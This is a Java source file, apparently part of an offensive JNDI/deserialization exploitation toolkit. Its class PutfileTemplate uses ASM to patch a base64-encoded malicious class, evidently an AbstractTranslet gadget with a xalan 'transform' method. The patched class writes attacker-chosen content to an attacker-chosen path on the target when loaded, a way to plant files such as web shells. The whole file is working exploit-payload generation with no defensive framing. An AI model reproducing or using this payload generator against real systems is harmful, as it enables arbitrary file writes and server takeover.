package com.achuna33.Templates;
import com.achuna33.Utils.*;
import org.objectweb.asm.*;
import com.achuna33.SupportType.MyDIYType;

import javax.xml.bind.DatatypeConverter;

import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Arrays;

import static org.objectweb.asm.Opcodes.*;
import static org.objectweb.asm.Opcodes.RETURN;

public class PutfileTemplate implements Template{
    private String className;
    private byte[] bytes;
    private String Path;
    private String Content;
    public PutfileTemplate(String Path,String Content){
        this.Path = new String(Utils.Base64DecodeStr2bytes(Path));
        this.className = "WriteFile";
        this.Content = Content;
        generate();
    }
    public void cache(){
        Cache.set(className, bytes);
    }
    public String getClassName(){
        return className;
    }
    public byte[] getBytes(){
        return bytes;
    }
    public void generate() {
        String WriteFileClassBase64 = "yv66vgAAADIAeAoAIAA4CQAfADkKAB8AOgcAOwkAHwA8CgAEAD0KAAQAPgcAPwoACABACABBCgAMAEIHAEMKAAwARAoARQBGBwBHCgBFAEgKAA8ASQgASgcASwoADABMCgBNAEYKAE4ATwoATQBQBwBRCABSCQBTAFQKAFMAVQgAVgoADABXCgAYAEAHAFgHAFkBAARQYXRoAQASTGphdmEvbGFuZy9TdHJpbmc7AQANQ29udGVudGJhc2U2NAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwBYBwA/AQAVQmFzZTY0RGVjb2RlU3RyMmJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgcAWgcAQwcAUQcAUQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBbAQByKExjb20v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IABABbAFwAGABeAM4A0QAYAAIAJwAAAFoAFgAAABcAAgAYAAQAGgAKABsAFAAcABoAHQAlAB4AOwAfAEEAIABaACEAXAAiAF4AJABkACUAegAmAIAAJwCZACgArwApALUAKgDOAC0A0QArANMALADYADAAKAAAADQAA/8AXAAEBwApBwAtBwATBwAuAAEHAC//AHQABQcAKQcALQcAEwcALgcAMAABBwAv+gAGAAEAMQAyAAIAJgAAABkAAAAEAAAAAbEAAAABACcAAAAGAAEAAAAzADMAAAAEAAEANAABADEANQACACYAAAAZAAAAAwAAAAGxAAAAAQAnAAAABgABAAAANQAzAAAABAABADQAAQA2AAAAAgA3";
        ClassReader cr = null;
        cr = new ClassReader(Utils.Base64DecodeStr2bytes(WriteFileClassBase64));
        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
        ASMChanger.ModifyAccessVisitor mv = new ASMChanger.ModifyAccessVisitor(ASM6,cw,MyDIYType.PutFile,"",Path,Content);
        cr.accept(mv,ClassReader.SKIP_FRAMES);
        bytes = cw.toByteArray();

    }
    public static void fileOutputStreamMethod(String filepath, byte[] content) throws IOException {
        try  {
            FileOutputStream fileOutputStream = new FileOutputStream(filepath);
            byte[] bytes = content;
            fileOutputStream.write(bytes);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
